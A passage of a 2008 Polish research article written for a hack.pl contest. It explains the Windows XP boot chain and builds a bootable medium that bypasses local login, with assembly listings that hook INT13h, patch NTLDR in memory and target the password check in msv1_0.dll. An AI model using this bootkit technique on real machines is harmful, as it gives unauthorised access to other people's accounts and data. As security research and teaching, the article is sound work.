background image

VEXILLIUM.ORG

 

Omijanie zabezpieczeń 

lokalnego logowania systemu 

Windows – nośniki bootowalne 

 

Wersja polska 

 

Mateusz ‘j00ru’ Jurczyk

 

2008-10-03 

 

 

 

 

 

Praca została wykonana w celu zgłoszenia jej na 

konkurs organizowany przez hack.pl

 

background image

2

 

 

Spis treści 

 

1  Wstęp 

 

 

 

 

 

 

 

 

 

 

2  Właściwy start komputera   

 

 

 

 

2.1  Tryb rzeczywisty i jego cechy 

 

 

2.2  Proces bootowania w real mode   

 

2.3  Układ pamięci operacyjnej   

 

 

 

3  Tryb chroniony 

 

 

 

 

 

 

 

 

4  Hakowanie autoryzacji  

 

 

 

 

 

11 

4.1  Cel, plany i założenia 

 

 

 

 

11 

4.2  Etap pierwszy - modyfikacja INT13h  

13 

4.3  Etap drugi – modyfikacja NTLDR 

 

18 

4.4  Etap trzeci – modyfikacja jądra   

 

23 

 

5  Przenoszenie kodu na CD-ROM 

 

 

 

27 

 

6  Efekt końcowy 

 

 

 

 

 

 

 

30 

 

7  Literatura  

 

 

 

 

 

 

 

 

32 

 

 

background image

3

 

 

1. 

Wstęp 

 

Od  samego  początku  istnienia  komputerów  i  możliwości  ich  programowania 

znajdowane były luki bezpieczeństwa, które w różnoraki sposób dawały możliwość 
blokowania rozmaitych usług, uzyskiwania dostępu do chronionych danych, zdalne 
wykonywanie  kodu  na  maszynie  ofiary  itd.  Przez  lata,  wraz  z  rosnącą  ilością  firm 
zajmujących  się  tworzeniem  oprogramowania,  mnożyła  się  liczba  odkrytych  dziur 
oraz techniki ich znajdowania oraz wykorzystywania. 
 
W trakcie rozwoju kolejnych systemów operacyjnych, języków programowania oraz 
ich  kompilatorów,  powstały  dziesiątki  ciekawych,  nowatorskich  technik 
zapobiegania  zarówno  lokalnym,  jak  i  zdalnym  atakom  wykorzystującym 
niedoskonałości  software’u.  Najbardziej  narażone  na  atak  elementy  procesu  (stos, 
sterta  itd.)  zostały  (mniej  lub  bardziej)  skutecznie  zabezpieczone  przed 
standardowymi  metodami  wykorzystywanymi  przez  hakerów.  Mimo  to  na 
ogólnodostępnej liście  bugtraq  z  dnia  na  dzień  przybywa  wiadomości  o  kolejnych 
odkrytych  błędach  oraz  możliwościach  ich  wykorzystania  w  praktyce.  Proces 
znajdowania,  łatania  i  zabezpieczania  przed  lukami  w  systemach  informatycznych 
nabiera  coraz  większego  tempa,  powodując  nieustanny  rozwój  powiązanych 
technologii. 
 
Niewielu ludzi zdaje sobie jednak sprawę, jak wielkie szkody poczynić może ktoś, 
kto  ma  jedynie  fizyczny  dostęp  do  naszej  maszyny.  Posiadając  możliwość 
bootowania  komputera  z  dowolnego,  przenośnego  nośnika  danych  ma  on  w 
rzeczywistości  nieograniczone  możliwości.  Jeśli  nasze  dane  nie  są  specjalnie 
zabezpieczone  przed  nieuprawnionym  dostępem  (np.  szyfrowane  –  sprzętowo  lub 
programowo),  a  jedyną  ochroną  jest  ustawione  w  Windowsie  hasło  weryfikujące 
naszą  tożsamość  w  momencie  logowania  do  systemu,  potencjalny  włamywacz 
mógłby uzyskać dostęp do danych dysku twardego bez większego problemu. 
 
W  czym  zatem  tkwi  tajemnica  nieograniczonych  przywilejów,  jakie  daje  nam 
możliwość użycia bootowalnego nośnika? Odpowiedź jest nad wyraz prosta – kod, 
który  zostaje  uruchomiony  w  trakcie  startowania  maszyny  jest  w  stanie  dowolnie 
sterować  wykonywaniem  systemu  operacyjnego,  dostępem  do  zasobów  dysku 
twardego,  obsługą  sprzętu  i  praktycznie  każdą  inną,  wrażliwą  częścią  naszego 
komputera.  Może  on,  przykładowo,  zmodyfikować  kod  odpowiedzialny  za 
potwierdzania  poprawności  wprowadzonego  w  trakcie  logowania  hasła,  tak  by 
odpowiedź  brzmiała  zawsze  HASŁO  POPRAWNE.  Inną  możliwością  jest 
zainstalowanie  sieciowego  backdoora  w  systemie  niczego  nie  podejrzewającej 

background image

4

 

 

ofiary. Raz uruchomiony złośliwy kod może więc przynieść nieodwracalne skutki, o 
których zaatakowany użytkownik może nie mieć nawet zielonego pojęcia. 
 
Artykuł  ten  prezentuje  techniczne  aspekty  działania  nośnika,  który  po 
wystartowaniu  odpowiednio  kieruje  pracą  uruchamianego  systemu  operacyjnego, 
aby  ten  umożliwił  zalogowanie  się  na  dowolne  istniejące  w  systemie  konto,  bez 
znajomości jakichkolwiek danych autoryzacyjnych. 
 
Zapraszam do lektury!

 

 

 

background image

5

 

 

2. 

Właściwy start komputera 

 

Wbrew  powszechnej  opinii,  proces  uruchamiania  komputera  jest  niezwykle 
złożony.  Składa  się  z  wielu,  startujących  kolejno  elementów,  które  wykonane 
prawidłowo  dają  możliwość  pracy  na  poprawnie  uruchomionym,  stabilnym 
systemie  operacyjnym.  Ten  oraz  następny  dział  przedstawiają  poszczególne  etapy 
ładowania systemu operacyjnego, od BIOS’u, aż po samo jądro systemu Windows 
wraz z niezbędnymi usługami. 

 
 

2.1  Tryb rzeczywisty 

 

Zanim  omówione  zostanie  działanie  kodu  dostarczonego  przez  Microsoft,  który 
odpowiedzialny jest za ładowanie samego systemu Windows, warto poznać pewne 
cechy trybu, w którym znajdujemy się w momencie początkowej fazy uruchamiania 
komputera – 

trybu rzeczywistego

 (ang. real mode). 

 
Pierwszą,  najbardziej  charakterystyczną  cechą  jest  z  pewnością  sposób,  w  jaki 
adresowana jest pamięć. Możliwy jest dostęp do jedynie 1MB pamięci operacyjnej 
(0  –  FFFFFh),  adresowanej  przy  użyciu  dwóch  16  bitowych  liczb.  Jeśli  liczby  te 
oznaczymy  kolejno  jako  A  i  B,  wtedy  adres  fizyczny,  do  którego  się  odwołujemy 
tłumaczymy w sposób następujący: 
 

AAAA:BBBB -> A * 10h + B 
1000:2345 -> 1000h * 10h + 2345h = 12345h 

 
Pierwsza wartość nazywana jest numerem segmentu, druga zaś to jego przesunięcie. 
Jak łatwo zauważyć, jeden adres fizyczny możemy zapisać na wiele sposobów – jest 
ich dokładnie 4096. 
 
Architektura 

procesora 

na  którym  operujemy,  udostępnia  6  rejestrów 

segmentowych, takich jak: 
 

  CS  –  segment  kodu  programu  (adres  aktualnie  wykonywanej  instrukcji 

procesora to CS:IP) 

  DS – segment danych programu 

  SS – segment stosu programu (pełny adres stosu to SS:SP) 

  ESFSGS – rejestry pomocnicze 

background image

6

 

 

Kolejną  właściwością  opisywanego  trybu  jest  brak  jakiejkolwiek  ochrony  pamięci 
(która  wprowadzona  została  już  w  trybie  chronionym).  Wykonywany  kod  może 
pisać i czytać z dowolnego miejsca znajdującego się w adresowalnym zakresie. Dla 
naszego  projektu  jest  to  zarówno  ułatwienie  i  jak  i  przeszkoda.  Z  jednej  strony 
możemy bez najmniejszych problemów ingerować w systemowe struktury, takie jak 
Tablica  Deskryptorów  Przerwań  (ang.  Interrupt  Descriptor  Table,  IDT), 
manipulując  nimi  według  własnych  potrzeb,  z  drugiej  jednak  nigdy  nie  mamy 
całkowitej  pewności,  że  kod/dane  używane  przez  nasz  program  nie  zostaną  w 
nieoczekiwanym  momencie  nadpisane.  Sposób  na  radzenie  sobie  z  tą 
niedogodnością zostanie opisany w dalszej części artykułu. 
 
Ostatnią  interesującą  cechą  jest  brak  wielowątkowości,  który  na  szczęście  nie 
stwarza dodatkowych problemów implementacyjnych. 
 
Poniżej znajduje się lista plusów i minusów real mode, wynikających z powyższych 
właściwości: 
 

 

Możliwość kontrolowania danych przepływających przez przerwania (IDT) 

 

Brak ochrony pamięci 

 

Bezpośredni dostęp do fizycznych danych nośników 

  Utrudniona alokacja pamięci 

 

Niewielka przestrzeń adresowa 

  Utrudnione debuggowanie (w przypadku fizycznych urządzeń) 

 
 

2.2  Elementy bootowania trybu rzeczywistego 

 

Sam  proces  ładowania  systemu  w  trybie  rzeczywistym  to  złożony  mechanizm. 
Poniżej  znajduje  się  lista  komponentów  składających  się  na  16-bitową  całość 
loadera Windows, wraz ze szczegółowym opisem. 
 

  BIOS (Basic Input/Output System) – kod znajdujący się w pamięci stałej płyty 

głównej,  ładowany  do  pamięci  pod  adresem  E0000h  i  uruchamiany  w  momencie 
włączania  komputera.  Jest  odpowiedzialny  za  podstawowe  testy  sprzętu  (POST  – 

Power  On  Self  Test

),  inicjalizację  urządzeń  wejścia/wyjścia  oraz  załadowanie  i 

uruchomianie programu rozruchowego z wybranego bootowalnego nośnika danych. 
 
 

background image

7

 

 

  MBR  (Master  Boot  Record)  –  Pierwszy  sektor  dysku  twardego,  zawiera 

program  rozruchowy systemu oraz tabelę  partycji. Zostaje załadowany przez BIOS 
na adres fizyczny 07C00h (zapisywany najczęściej jako para 0000:7C00), skąd sam 
kopiuje  się  pod  0061Bh,  a  następnie  znajduje  partycję  oznaczoną  jako  Bootable, 
ładuje  pierwszy  sektor  tej  partycji  ponownie  na  adres  07C00h  i  przekazuje 
wykonywanie dalej. 

 

seg000:0000           xor     ax, ax  
seg000:0002           mov     ss, ax  
seg000:0004           mov     sp, 7C00h 
seg000:0007           sti  
seg000:0008           push    ax  
seg000:0009           pop     es 
seg000:000A           push    ax  
seg000:000B           pop     ds  
seg000:000C           cld  
seg000:000D           mov     si, 7C1Bh 
seg000:0010           mov     di, 61Bh 
seg000:0013           push    ax  
seg000:0014           push    di 
seg000:0015           mov     cx, 1E5h 
seg000:0018           rep movsb  
seg000:001A           retf  

 

Listing 1. Kod MBR odpowiedzialny za przenos

zenie swojego ciała pod adres 0000:061Bh 

 

Budowa: 

512 bajtów 

446 bajtów 

64 bajty (4 x 16) 

bajty 

bootstrap 

Partycja 

Partycja 

Partycja 

Partycja 

0x55 
0xAA  

 

Pierwsza część to kod wykonywalny, opisany powyżej. Kolejne 64 bajty to tablica 
zawierająca  informacje  o  partycjach,  używana  w  kodzie  bootstrap’u.  Każda  z  4 
partycji opisana jest przez 16 bajtową strukturę. Ostatnie 2 bajty to sygnatura MBR. 
 

  VBR (Volume Boot Record) – Pierwszy sektor partycji wybranej przez MBR. 

Jego  struktura  zależna  jest  od  systemu  plików  (FAT32/NTFS/inne),  o  którym 
zawiera  podstawowe  informacje.  Jako,  że  całość  kodu  jest  zbyt  duża,  by  zmieścić 
się w jednym sektorze, kolejne części VBR są sukcesywnie wczytywane do pamięci 
w  momencie,  kiedy  stają  się  potrzebne.  Jego  głównym  zadaniem  jest  znalezienie 
pliku  o  nazwie  NTLDR  w  katalogu  głównym  partycji,  a  następnie  wczytanie  jego 
zawartości  pod  adres  20000h  (2000:0000).  Załadowany  plik  składa  się  z  dwóch 
części  –  programu  trybu  rzeczywistego,  który  opisany  został  poniżej  oraz  pliku 

background image

8

 

 

wykonywalnego  PE,  pracującego  już  w  trybie  chronionym.  Jeśli  wszystko  się 
powiedzie, wykonywanie zostaje przekazane do pierwszej części NTLDR. 
 

 

NT Loader (część pierwsza) – Jest to 16-bitowy program, będący jednocześnie 

ostatnim  ogniwem  łańcucha  bootowania  trybu  rzeczywistego.  Jego  celem  jest 
inicjalizacja  niezbędnych  elementów  środowiska  i  przełączenie  procesora  w  tryb 
chroniony. Następnie  następuje załadowanie do pamięci drugiej części  loadera (już 
z użyciem adresowania 32-bitowego) i uruchomienie go.  

 

 

2.3 

Układ pamięci operacyjnej 

 

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

 
 
 
 
 
 
 
 
 
 
 
 

Rysunek 1. Uproszczony układ pamięci tuż przed przejściem w tryb chroniony

 

background image

9

 

 

3. Tryb chroniony 

 

Tryb  chroniony  zawiera  wiele  poprawek  i  usprawnień  względem  starszego  trybu 
rzeczywistego.  Pamięć  jest  adresowana  za  pomocą  32-bitowych  wartości, 
umożliwiając tym samym dostęp do maksymalnie ponad 4GB pamięci. Zawiera też 
wsparcie  wielowątkowości,  stronicowanie  oraz  ochronę  pamięci,  której tak  bardzo 
brakowało real mode. To właśnie w tym trybie wykonywana jest cała dalsza część 
procesu ładowania systemu.  
 
Poniżej  znajduje  się  lista  interesujących  nas  komponentów  bootowania  
32-bitowego, które w niedługiej przyszłości staną się naszym bezpośrednim celem. 

 

 

OSLOADER.exe  (druga  część  pliku  NTLDR)  –  standardowy  plik  PE 

(Portable  Executable).  Do  jego  zadań  należy  parsing  pliku  konfiguracyjnego 
boot.ini,  opcjonalnie  wyświetlenie  menu  wyboru  systemu  operacyjnego,  obsługę 
specjalnych  opcji  bootowania  (dostępnych  po  naciśnięciu  klawisza  F8).  Po 
wykonaniu  tych  czynności  OsLoader  zabiera  się  za  znacznie  ważniejsze  rzeczy  – 
ładuje  do  pamięci  podstawowe  elementy  jądra  –  NTOSKRNL.exe  i  HAL.dll  –  oraz 
sterowniki oznaczone jako boot driver. Jeśli wszystko się powiedzie, wykonywanie 
zostaje przekazane do załadowanego wcześniej kernela systemu. 

 

  NTOSKRNL.exe  –  jądro  systemu  Windows.  Interesującą  częścią  tego 

niemałego  pliku  wykonywalnego  jest  kod  odpowiedzialny  za  obsługę  wywołania 
systemowego  o  nazwie  NtCreateFile,  służącego  m.in.  do  otwierania  i  tworzenia 
plików na dysku twardym. 

 

  LSASS.exe, LSASRV.dll (Local Security Authority Subsystem Service) – pliki 

aplikacji  odpowiadającej  za  bezpieczeństwo  systemu.  Weryfikuje  dane  logujących 
się użytkowników, pośredniczy w operacjach zmiany haseł itd. Jest to proces, który 
jest  celem  naszego  ataku.  Jedną  z  bibliotek  używanych  przez  LSASS  jest 
msv1_0.dll,  będąca  odpowiedzialna  bezpośrednio  za  weryfikację  danych 
wprowadzonych przez lokalnie  logującą się osobę. Odpowiednia  modyfikacja tejże 
biblioteki  może  pozwolić  na  całkowite  ominięcie  procesu  autoryzacji,  dając 
nieograniczony dostęp do zasobów komputera.  

 

Poszczególne elementy ładowania systemu zostały przedstawione na rysunku 2. 

 

background image

10

 

 

 
 
 
 

Graf opisujący 

architekturę LSASS

 widoczny jest na rysunku 3. 

 
 

 
 
 
 

Rysunek 2. Komponenty składające się na całośd procesu bootowania i ładowania systemu 
Windows

 

Rysunek 3.  Zależności pomiędzy poszczególnymi elementami modułu logowania Windows. Nasz 
cel to msv1_0.dll z którym, w momencie próby logowania, łączy się lsasrv.dll 
źródło: http://technet.microsoft.com/en-us/library/cc780455.aspx 

background image

11

 

 

4. 

Hakowanie autoryzacji 

 

4.1 

Cel, plany i założenia 

 

Przed  zabraniem  się  za  pisanie  samego  kodu  bootsectora  naszego  nośnika,  należy 
przedstawić  plany  i  założenia,  jakimi  będziemy  kierować  się  w  trakcie  tworzenia 
naszego hacka. 

 

 

Założenia ogólne 

 

-  Tworzymy  łańcuch  modyfikacji  tak,  że  wcześniejszy  element  ładowania 

modyfikuje następny, aż do osiągnięcia dostępu do LSASS 

-  Całość  MUSI  mieścić  się  w  obszarze  bootsectora  –  512  bajtach  kodu 

maszynowego 

-  Nie  wykonujemy  ŻADNYCH  operacji  na  dysku  twardym  –  wszystkie  zmiany 

przeprowadzane są tylko i wyłącznie w pamięci 

 

 

Niezbędne wiadomości o msv1_0.dll 

 

- Pełna nazwa to Microsoft Authentication Package v1.0 
-  Zostaje  wywoływana  bezpośrednio  przez  Lsasrv.dll,  od  której  to  biblioteki 
otrzymuje nazwę użytkownika i hasło użyte przy logowaniu 
-  Łączy  się  z  bazą  SAM,  a  następnie  porównuje  poprawny  hash  oraz  hash 
wprowadzonego hasła. 
-  Jeśli  podane  dane  weryfikacyjne  zostaną  uznane  za  poprawne,  msv1_0  zwraca 
informację o udanym logowaniu 
- Kod, który nas interesuje, przedstawiony jest w listingu 2. 
- Kod ten należy do wewnętrznej funkcji MsvpPasswordValidate 

 

.text:77C6989D loc_77C6989D: 
.text:77C6989D 6A 10                push    10h    

; Length  

.text:77C6989F 83 C3 34             add     ebx, 34h 
.text:77C698A2 53                   push    ebx    

; Source2 

.text:77C698A3 56                   push    esi    

; Source1 

.text:77C698A4 FF 15 30 12 C6 77    call    RtlCompareMemory  
.text:77C698AA 83 F8 10             cmp     eax, 10h 
.text:77C698AD 75 11                jnz     short loc_77C698C0 
.text:77C698AF 
.text:77C698AF loc_77C698AF: 
.text:77C698AF B0 01                mov     al, 1 
… 
.text:77C698C0 loc_77C698C0: 
.text:77C698C0 32 C0                xor     al, al  

 

Listing 2. Funkcja RtlCompareMemory 

porównująca 16-bajtowe ciągi oraz wytłuszczony 

modyfikowany skok warunkowy jnz 
 

background image

12

 

 

  Elementy modyfikowane 

 

Tablica deskryptorów przerwań (ang. Interrupt Descriptor Table – IDT) – 
tablica 256 elementów będących wskaźnikami na funkcje obsługujące konkretne 
przerwania.  Każdy  ze  wskaźników  jest  standardowym  adresem  trybu 
rzeczywistego  –  składa  się  z  dwóch  16-bitowych  wartości.  Adres  IDT  to 
0000:0000, zajmuje ona 256*4=1024 bajtów, a więc kończy się na 0000:0400.  
Jedynym  interesującym  nas  przerwaniem  jest  przerwanie  o  numerze  13h, 
odpowiedzialne  za  operacje  odczytu  sektorów  z  nośników  danych.  Adres  owej 
funkcji  znajduje  się  pod  adresem  13h*4  =  0000:004C.  Własny  kod,  którym 
zastąpimy  standardową  funkcję  INT13h  będzie  modyfikował  dalszy  element  – 
drugą część NTLDR (OsLoader.exe) 
 
OsLoader.exe – zostaje spatchowany w miejscu, w którym kernel systemu jest 
już  obecny  w  pamięci.  Wstrzyknięty  przez  nas  kod  ma  za  zadanie  znaleźć 
wyeksportowaną funkcję NtCreateFile i ustawić w niej tzw. hak (ang. hook). 
 
-  Ntoskrnl.exe  –  Funkcja  obsługi  plików  jest  przekierowana  do  kodu 
znajdującego się w DOS Stub kernela. Kiedy wykryta zostaje próba dostępu do 
odpowiednio  zdefiniowanego  przez  nas  pliku,  kod  funkcji  msv1_0.dll  jest 
zmodyfikowany, a hak funkcji NtCreateFile zdjęty. 
 
-  NTLM  –  ostatnie  ogniwo  łańcucha  modyfikacji,  w  momencie  próby 
logowania przepuszcza błędne hasła. 
 
Na rysunku 4 widoczne są kolejne elementy bootowania, wraz z odpowiednimi 
oznaczeniami miejsc, które patchowane są w trakcie działania hacka. 

 

 
 
 
 
 
 
 
 
 
 
 
 
 
 

Rysunek 4. Oznaczone komponenty biorące udział w ataku na moduł logowania

 

background image

13

 

 

4.2  Etap pierwszy - modyfikacja INT13h

 

 

Jednym z założeń całego projektu jest brak jakichkolwiek operacji wykonywanych 
na dysku twardym. Wiąże się z tym kilka rzeczy. Między innymi, nasz kod musi tak 
modyfikować  pamięć  do  której w  danej chwili  ma  dostęp  tak,  by  na  końcu  zostać 
zakamuflowana  w  obszarze  pamięci  kernela  oczekując  na  dogodny  moment,  by 
usunąć skok warunkowy znajdujący się w jednej z bibliotek LSASS. 
 
Znaczy  to  ni  mniej  ni  więcej  tyle,  że  całość  kodu  znajdującego  się  w  naszym 
bootsectorze  musimy  podzielić  na  podbloki,  każdy  z  nich  wykonywany  w  innym 
momencie  procesu  bootowania.  Kiedy  jedna  z  funkcji  naszego  projektu  zostaje 
wywołana,  wykonuje  niezbędne  modyfikacje  pamięci  tak,  by  kolejna  część  kodu 
mogła  zostać  wywołana  w  odpowiednim  czasie,  a  następnie  przekazuje 
wykonywanie  z  powrotem  do  oryginalnego  kodu  loadera  Windows.  Nasz  kod 
zwyczajnie  przeplata  się  z  kodem  programu  ładującego,  który  sukcesywnie 
modyfikujemy. 
 
Pierwszą  częścią  projektu  jest  fragment  wywoływany  bezpośrednio  przez  BIOS. 
Jego  celem  jest  ustawienie  haka  na  wcześniej  wspomniane  przerwanie  o  numerze 
13h,  załadowanie  MBR  dysku  twardego  (tak,  jak  zrobiłby  to  BIOS  w  przypadku 
bootowania  z  HDD)  i  przekazanie  mu  wykonywania.  Jako,  że  pierwszy  sektor 
naszego  nośnika został załadowany  pod adres, na którym docelowo  znaleźć  ma się 
MBR, musimy wcześniej przenieść resztę kodu w miejsce, które w trakcie działania 
loadera nie zostanie nadpisane. 
 
Listing 3 przedstawia wspomniany pierwszy fragment bootsectora, odpowiedzialny 
za  hookowanie  przerwania  odpowiedzialnego  m.in.  za  operacje  Read  i  Extended 
Read. 

 

  

; [1] 
TEMP_STACK     

equ 0x3000   

BOOTCODE_ADDR  

equ 0x4000-0x200   

MBR_ADDR       

equ 0x7C00   

INT13_ADDR     

equ 13h * 4  

 
MSV1_0_PATCH_ADDR   equ 077C699B9h 
 
[bits 16] 
[org BOOTCODE_ADDR] 
 
start: 
  jmp 0:MBR_ADDR+5  

 

background image

14

 

 

    ; [2] 

  mov cx, TEMP_STACK 
  mov ss, cx 
  xor cx, cx 
  mov sp, cx 
 
  mov ds, cx 
  mov es, cx 
 
  ; [3] 
  pushad  
 
  mov ax, 0201h  
  inc ecx        
  cwd            
  mov bx, BOOTCODE_ADDR    
  int 13h        

 

  jmp _HOOK_INTERRUPT_GOTO_MBR - MBR_ADDR + BOOTCODE_ADDR 
 
_HOOK_INTERRUPT_GOTO_MBR: 
 
  ; [4] 
  mov ax, 0201h 
  or  dl, 10000000b      
  mov bh, (MBR_ADDR>>8) 
  int 13h                
 
  ; [5] 
  mov eax, [INT13_ADDR]     
  mov [INT13HANDLER], eax   
  mov dword [INT13_ADDR], @INT13HOOK_OFF  
 
  ; [6] 
  popad 

 

  jmp MBR_ADDR 

 

Listing 3. 

Kod odpowiedzialny za skopiowanie się na adres 0x03E00, wczytanie MBR oraz 

zainstalowanie hooka 

w Tablicy Deskryptorów Przerwań 

 
 

Omówmy pokrótce kolejne fragmenty powyższego kodu. 
Fragment [1] to deklaracje stałych wartości używanych w dalszej części kodu. Są to 
kolejno:  adres  tymczasowego  stosu,  adres  pamięci  gdzie  znajduje  się  nasz 
bootsector  przez  cały  okres  działania  real  mode,  adres  pod  który  ładowany  zostaje 
MBR oraz adres wskaźnika funkcji obsługującego modyfikowane przerwanie. Piąta 
linia zawiera stały adres patchowanego na samym końcu kodu msv1_0.dll.  

 

background image

15

 

 

Właściwa część źródła  – kod wykonywalny zaczyna się od  instrukcji FAR JUMP, 
która upewnia nas, że znajdujemy się pod adresem 0000:7C00, a nie np. 07C0:0000 
(co mogłoby sprawić w przyszłości spore problemy).  
Następnie  we  fragmencie  [2]  ustawiony  zostaje  tymczasowy  stos,  na  którym 
możemy  bezpiecznie  operować,  rejestrom  segmentowym  przydzielane  są 
odpowiednie  wartości.  Stan  wszystkich  rejestrów  zachowany  zostaje  przez 
instrukcję  [3],  po  której  następuje  ponowne  wczytanie  naszego  bootsectora  pod 
ustalony  wcześniej,  bezpieczny  adres.  Używany  do  tej  pory  adres  7C00h  zaraz 
potem  zajęty  zostaje  przez  MBR  w  miejscu  oznaczonym  jako  [4].  Kolejne  linie 
kodu  odpowiadają  za  ustawienie  opisywanego  wcześniej  hooka,  przywrócenie 
wartości rejestrów i skok pod adres definiowany przez 

MBR_ADDR. 

 

 

Prosty schemat przedstawiający łańcuchy haków przerwań przedstawiony został na 
rysunku 5. 

 

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

 
 

Należałoby  się  zastanowić,  co  w  rzeczywistości  robić  ma  kod  haka,  który  dopiero 
co został założony. Przydatnym wydaje się  fakt, że  nasz kod wywoływany zostaje 
za każdym razem, gdy z dysku twardego odczytywane są jakieś dane, co daje nam 
możliwość pełnej kontroli danych przepływających przez przerwanie. 

 

Ja  zdecydowałem  się  na  wykorzystanie  techniki  użytej  wcześniej  w  rootkicie 
MEBROOT  oraz  projekcie  SysRq  autorstwa  eEye  Research,  polegającej  na 
bezpośredniej  modyfikacji  kodu  drugiej  części  NTLDR  –  pliku  OSLOADER.EXE

Rysunek 5. Tablica deskryptorów przerwao – przekierowanie na adres 0000:4E42, 
wywołujące następnie oryginalny handler spod adresu F000:E3FE 

background image

16

 

 

jako,  że  jego  zawartość  wczytywana  jest  wciąż  poprzez  kontrolowane  przez  nas 
przerwanie  trzynaste,  a  czyni  to  Volume  Boot  Record.  Mamy  w  ten  sposób  dostęp 
do kodu wykonywanego już po przejściu w tryb chroniony, co daje nam dodatkowe 
możliwości.  Adres  0x00422A6F  został  uznany  za  odpowiednie  miejsce  na 
wstrzyknięcie własnego kodu – w momencie dojścia wykonywania programu do tej 
lokalizacji  NTOSKRNL.EXE  jest  już  obecny  w  pamięci.  Wstrzyknięty  kod  może 
zatem  od  samego  początku  działania  systemu  sterować  działaniem  syscalli  – 
podstawowych  funkcji  eksportowanych  przez  jądro,  którymi  operuje  każda 
działająca wewnątrz aplikacja. 

 

Oto jak przedstawia się schemat działania podstawionego przez nas handlera: 

 

 

Sprawdź, czy żądana operacja to 

READ

 lub 

EXTENDED READ

 (czytanie z 

dysku) 

 

Jeśli nie, skacz do oryginalnej funkcji 

 

Za pomocą instrukcji CALL wywołaj oryginalny handler 

 

Jeśli operacja odczytu nie powiodła się, wyjdź 

 

Sprawdź,  czy  we  wczytanych  danych  znajduje  się  sygnatura,  która  powinna 
zostać podmieniona 

 

Jeśli  tak,  modyfikuj  odpowiednie  dane,  wstrzykując  własny  kod  do 
ładowanego pliku 

 

Przywróć początkowy stan stosu i wyjdź 

 

Funkcja  taka  została  napisana  i  świetnie  zoptymalizowana  przez  badaczy  eEye 
Research
, pozwoliłem więc sobie posłużyć się nim we własnym projekcie – można 
znaleźć ją w listingu 4. 

 

@INT13HOOK_OFF equ $ 
@Int13Hook: 
 

cli 
pushf 
cmp  

ah, 42h 

; IBM/MS INT 13 Extensions - EXTENDED READ 

je   

short @Int13Hook_ReadRequest 

 

cmp  

ah, 02h 

; DISK - READ SECTOR(S) INTO MEMORY 

je   

short @Int13Hook_ReadRequest 

popf 

 

db   

0EAh   

; JMP FAR INT13HANDLER 

INT13HANDLER EQU $ 

dd   

 
@Int13Hook_ReadRequest: 

background image

17

 

 

mov [cs:INT13LASTFUNCTION], ah 
 

; Invoke original handler to perform read operation 

popf 
pushf 

 

; push Flags because we're simulating an INT 

call 

 

far [cs:INT13HANDLER] ; call original handler 

jc   

short @Int13Hook_ret  ; abort immediately if read failed 

 

pushf 
cli 
push 

 

es 

pusha 

 


; Adjust registers to emulate an AH=02h read if AH=42h was used 

 

mov  

ah, 00h 

INT13LASTFUNCTION EQU $-1 
cmp  

ah, 42h 

jne  

short @Int13Hook_notextread 

 

lodsw 
lodsw 

 

 

 

; 02h  WORD    number of blocks to 

transfer 

les  

bx, [si] 

; 04h  DWORD   transfer buffer 

 
@Int13Hook_notextread: 
 


; Scan sector for a signature of the code we want to modify 

 

test 

al, al 

jle  

short @Int13Hook_scan_done 

 

cld 

 

mov  

cl, al 

mov  

al, 8Bh 

shl  

cx, 9  

 

 

 

; (AL * 200h) 

mov  

di, bx 

 
 @Int13Hook_scan_loop: 
 

 

; 8B F0       MOV ESI, EAX 

     

; 85 F6       TEST ESI, ESI 

 

 

; 74 21       JZ $+23h 

 

 

; 80 3D ...   CMP BYTE PTR [ofs32], imm8 

 

 

; (the first 6 bytes of this signature exist in other modules!) 

background image

18

 

 

repne scasb 
jne  

short @Int13Hook_scan_done 

 

; NOTE! 
; The patched NTLDR code is placed at 0x422a6f 
; on the up-to-date Windows XP SP2 version. 

 

cmp  

dword [es:di],  74F685F0h 

jne  

short @Int13Hook_scan_loop 

 

cmp  

word [es:di+4], 8021h 

jne  

short @Int13Hook_scan_loop 

 

mov  

word [es:di-1], 15FFh       ; FFh/15h: CALL NEAR [ofs32] 

mov   dword [es:di+1], @SyscallHookAddr 

 
@Int13Hook_scan_done: 
 

popa 
pop  

es 

popf 

 
@Int13Hook_ret: 
 

retf 2  ; discard saved Flags from original INT (pass back CF, 

etc.)  
 
Listing  4.  Kod  naszego  handlera,  znajdującego  odpowiednią  sygnaturę  w  momencie 
wczytywania całości pliku NTLDR i zmieniającego ją na kod przekierowujący 

 
 

Kiedy  nasza  funkcja  znajdzie  już  dane,  które  powinna  podmienić,  wstawia  w  ich 
miejsce kod operacji (ang. opcode) instrukcji CALL [imm32]

 

mov  word  [es:di-1], 15FFh 

      ; FFh/15h: CALL NEAR [imm32] 

mov  dword [es:di+1], @SyscallHookAddr 

 

tj.  wywołania  funkcji,  do  której  wskaźnik  znajduje  się  pod  stałym,  32-bitowym 
adresem  będącym  argumentem  tejże  instrukcji.  W  naszym  przypadku  pointer  ten 
znajduje  się  w  zmiennej 

@SyscallHookAddr, 

i  wskazuje  na  adres  kolejnego  bloku 

kodu, do którego prowadzi właśnie wstawione w NTLDR wywołanie. 

 
 

4.3  Etap drugi 

– modyfikacja NTLDR 

 

Po  przejściu  do  dalszej  części  loadera  VBR  i  odczekaniu  niedługiego  czasu,  w 
którym  to  uruchamiana  zostaje  pierwsza,  a  następnie  druga  część  NTLDR, 

background image

19

 

 

ponownie odzyskujemy kontrolę wykonywania, tym razem w znacznie ciekawszym 
miejscu. 
W tym momencie możemy dowolnie i bez konsekwencji „grzebać” w całej pamięci 
jądra  Windows,  nie  ponosząc  żadnych  konsekwencji.  Jest  to  stan,  w  którym  sam 
kernel  nie jest jeszcze wykonywany, a więc  absolutnie żadne oprogramowanie  nie 
ma  większych  praw  od  tych,  które  aktualnie  posiada  nasz  kod,  znajdujący  się  pod 

@SyscallHookAddr. 
 

Proponowaną  w  tym  momencie  taktyką  jest  ustawienie  kolejnego  przekierowania, 
tym  razem w jednej (wspomnianej wcześniej) z funkcji eksportowanych przez sam 
kernel - funkcja ta jest równocześnie handlerem przerwania systemowego o nazwie 
NtCreateFile.  Wstrzykując  do  niej  własny  kod,  możemy  „podpiąć”  się  do 
dowolnego  procesu  wykorzystującego  w  danym  momencie  tę  funkcję,  a  następnie 
zmodyfikować  pewne  obszary  pamięci  tego  procesu,  jak  na  przykład  kod  jednej  z 
bibliotek. 

 

Poważnym problemem, na który można natknąć się w tym momencie to trudność ze 
znalezieniem  odpowiedniego  miejsca  na  kod,  do  którego  miałoby  odwoływać  się 
